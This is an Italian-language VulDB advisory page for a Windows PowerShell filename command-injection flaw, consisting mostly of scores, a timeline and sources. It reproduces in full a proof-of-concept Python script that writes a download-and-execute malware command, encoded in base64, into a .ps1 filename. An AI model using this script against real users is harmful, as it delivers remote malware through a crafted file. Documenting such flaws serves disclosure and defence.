Microsoft Windows PowerShell Semicolon escalationi di privilegi

CVSS Punteggio meta temporaneoPrezzo attuale dell'exploit (≈)Punteggio di interesse CTI
5.7$0-$5k0.00

Riassuntoinformazioni

In Microsoft Windows è stata rilevato un punto critico di livello critico. Si considera coinvolta una funzione sconosciuta nel componente PowerShell. La manipolazione come parte di Semicolon se causa una vulnerabilità di classe escalationi di privilegi. L'attacco può essere lanciato dalla rete. Inoltre, è presente un exploit disponibile. Si consiglia di disabilitare il componente interessato.

Dettagliinformazioni

Una vulnerabilità di livello critico è stata rilevata in Microsoft Windows (Operating System). É interessato una funzione sconosciuta del componente PowerShell. Mediante la manipolazione come parte di Semicolon se causa una vulnerabilità di classe escalationi di privilegi. Questo si osserva su riservatezza, integrità e disponibilità.

La vulnerabilità è stata pubblicata in data 01/08/2019 da John Page (hyp3rlinx) con un avis (Website) (non definito). L'advisory è scaricabile da hyp3rlinx.altervista.org. La pubblicazione è avvenuta in collaborazione con il produttore. L'attacco può avvenire nella rete. L'utilizzo non richiede alcuna forma di autentificazione. Non sono conosciuti dettagli tecnici ma un pubblico metodo di utilizzo è disponibile.

Un metodo di utilizzo è stato sviluppato da John Page (hyp3rlinx) ed è stata pubblicata immediatamente dopo il comunicato. L'exploit è scaricabile da hyp3rlinx.altervista.org. È stato dichiarato come prova di concetto. Per almeno 12 giorni, questa vulnerabilità è stata classificata come 0-day exploit. Il codice utilizzato dal exploit è:

from base64 import b64encode
import argparse,sys
#Windows PowerShell - Unsantized Filename Command Execution Vulnerability PoC
#Create ".ps1" files with Embedded commands to download, save and execute malware within a PowerShell Script Filename.
#Expects hostname/ip-addr of web-server housing the exploit.
#By hyp3rlinx
#Apparition Security
#====================


def parse_args():
    parser.add_argument("-i", "--ipaddress", help="Remote server to download and exec malware from.")
    parser.add_argument("-m", "--local_malware_name", help="Name for the Malware after downloading.")
    parser.add_argument("-r", "--remote_malware_name", help="Malwares name on remote server.")
    return parser.parse_args()

def main(args):
    PSEmbedFilenameMalwr=""
    if args.ipaddress:
        PSEmbedFilenameMalwr = "powershell iwr "+args.ipaddress+"/"+args.remote_malware_name+" -O %CD%\\"+args.local_malware_name+" ;sleep -s 2;start "+args.local_malware_name
    return b64encode(PSEmbedFilenameMalwr.encode('UTF-16LE'))

def create_file(payload):
    f=open("Test;PowerShell -e "+payload+";2.ps1", "w")
    f.write("Write-Output 'Have a nice day!'")
    f.close()

if __name__=="__main__":
    
    parser = argparse.ArgumentParser()
    PSCmds = main(parse_args())

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)
        
    create_file(PSCmds)
    print "PowerShell - Unsantized Filename Command Execution File created!"
    print "By hyp3rlinx"

Il miglior modo suggerito per attenuare il problema è Disattivare.

Be aware that VulDB is the high quality source for vulnerability data.

Prodottoinformazioni

Genere

Fornitore

Nome

Licenza

Sito web

CPE 2.3informazioni

CPE 2.2informazioni

Video

CVSSv4informazioni

VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

CVSSv3informazioni

VulDB Punteggio meta-base: 6.3
VulDB Punteggio meta temporaneo: 5.7

VulDB Punteggio di base: 6.3
VulDB Punteggio temporaneo: 5.7
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

CVSSv2informazioni

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VettoreComplessitàAutenticazioneRiservatezzaIntegritàDisponibilità
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare

VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍

Sfruttamentoinformazioni

Classe: Escalationi di privilegi
CWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Fisico: No
Locale: No
Remoto: Si

Disponibilità: 🔍
Accesso: Pubblico
Stato: Prova di concetto
Autore: John Page (hyp3rlinx)
Scaricare: 🔍
Previsione dei prezzi: 🔍
Preventivo attuale: 🔍

0-DaySbloccareSbloccareSbloccareSbloccare
OggiSbloccareSbloccareSbloccareSbloccare

Intelligence sulle minacceinformazioni

Interesse: 🔍
Attori attivi: 🔍
Gruppi APT attivi: 🔍

Contromisureinformazioni

Raccomandazione: Disattivare
Stato: 🔍

Tempo 0 giorni: 🔍
Tempo di ritardo sfruttamento: 🔍

Sequenza temporaleinformazioni

20/07/2019 🔍
23/07/2019 +3 giorni 🔍
01/08/2019 +9 giorni 🔍
01/08/2019 +0 giorni 🔍
06/08/2019 +5 giorni 🔍
21/07/2020 +350 giorni 🔍

Fontiinformazioni

Fornitore: microsoft.com
Prodotto: microsoft.com

Avis: hyp3rlinx.altervista.org
Ricercatore: John Page (hyp3rlinx)
Stato: Non definito
Coordinato: 🔍

GCVE (VulDB): GCVE-100-139527
scip Labs: https://www.scip.ch/en/?labs.20161013

Voceinformazioni

Data di creazione: 06/08/2019 07:42
Aggiornato: 21/07/2020 11:24
Cambiamenti: 06/08/2019 07:42 (53), 21/07/2020 11:24 (2)
Completa: 🔍
Inviato: hyp3rlinx
Cache ID: 216::103

Inviainformazioni

Accettato

  • Invia #80: Microsoft Windows PowerShell / Unsanitized Filename Command Execution (di hyp3rlinx)

Duplicato

Be aware that VulDB is the high quality source for vulnerability data.

Discussione

Ancora nessun commento. Lingue: it + ro + en.

Effettua il login per commentare.

Might our Artificial Intelligence support you?

Check our Alexa App!